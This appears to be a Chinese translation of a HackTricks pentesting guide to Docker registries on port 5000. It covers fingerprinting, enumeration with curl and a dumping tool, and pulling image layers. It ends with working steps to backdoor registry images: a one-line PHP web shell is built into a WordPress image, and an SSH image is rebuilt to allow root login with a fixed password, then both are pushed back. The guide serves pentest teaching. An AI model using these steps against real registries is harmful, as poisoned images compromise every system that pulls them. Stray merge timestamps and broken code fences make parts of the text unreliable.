hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

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# 5000 - Docker 注册表渗透测试
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<details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
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支持 HackTricks 的其他方式:
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
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</details>
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## 基本信息
**信息来自** [**这里**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**。**
**Docker 注册表** 是一个用于存储和分发命名 Docker 镜像的系统。同一个镜像可能有多个不同的版本,通过它们的标签来识别。\
Docker 注册表组织成 **Docker 仓库**,一个仓库包含了特定镜像的所有版本。注册表允许 Docker 用户本地拉取镜像,以及向注册表推送新镜像(在适用的情况下需要足够的访问权限)。
默认情况下Docker 引擎与 **DockerHub**Docker 的公共注册表实例进行交互。然而,也可以在本地运行开源的 Docker 注册表/分发,以及一个称为 **Docker Trusted Registry** 的商业支持版本。还有其他公共注册表可在线使用。
要从本地注册表拉取镜像,您可以运行类似于以下的命令:
```
docker pull my-registry:9000/foo/bar:2.1
```
```markdown
当您从位于 `my-registry` 域名,端口 `9000` 的本地注册表中拉取带有 `2.1` 标签的 `foo/bar` 镜像版本时。\
如果您使用的是DockerHub并且2.1也是最新版本,您可以运行以下命令来本地拉取相同的镜像:
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```
```
docker pull foo/bar
```
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**默认端口:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
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## 发现
发现此服务运行的最简单方法是在nmap的输出中获取它。无论如何请注意由于它是基于HTTP的服务它可能位于HTTP代理之后nmap可能无法检测到它。
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一些指纹:
* 如果你访问`/`,响应中没有返回任何内容
* 如果你访问`/v2/`,则返回`{}`
* 如果你访问`/v2/_catalog`,你可能会得到:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
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## 枚举
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### HTTP/HTTPS
Docker registry 可以配置为使用 **HTTP****HTTPS**。因此,你首先需要做的是**找出**哪一个被配置了:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
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Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### 认证
Docker registry 也可以配置为需要**认证**
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
如果Docker Registry需要认证你可以[**尝试使用这个方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
**如果你找到了有效的凭证,你需要使用它们**来枚举registry在`curl`中你可以这样使用它们:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### 使用 DockerRegistryGrabber 进行枚举
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个 python 工具,用于枚举 / 转储 docker 注册表(无需或使用基本认证)
```bash
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### 使用 curl 进行枚举
一旦您**获得了对docker registry的访问权限**,以下是一些可以用来枚举它的命令:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
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"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
注意,当您下载并解压缩 blobs 文件时,文件和文件夹会出现在当前目录中。**如果您在同一文件夹中下载并解压所有 blobs它们会覆盖之前解压的 blobs 的值**,所以要小心。将每个 blob 解压到不同的文件夹中以检查每个 blob 的确切内容可能会很有趣。
{% endhint %}
### 使用 docker 进行枚举
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
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#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### 后门WordPress镜像
在您发现Docker Registry保存了一个wordpress镜像的情况下您可以对其进行后门处理。\
**创建** **后门**
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
```markdown
{% endcode %}
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创建一个 **Dockerfile**
{% code title="Dockerfile" %}
```
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
**创建**新镜像,**检查**是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/wordpress .
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#Create
docker images
docker push registry:5000/wordpress #Push it
```
### 后门SSH服务器镜像
假设你发现了一个带有SSH镜像的Docker Registry你想要对其进行后门处理。\
**下载**镜像并**运行**它:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
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从SSH镜像中提取`sshd_config`文件:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
并修改它以设置:`PermitRootLogin yes`
创建一个如下的**Dockerfile**
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**创建**新镜像,**检查**是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
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#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
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<details>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>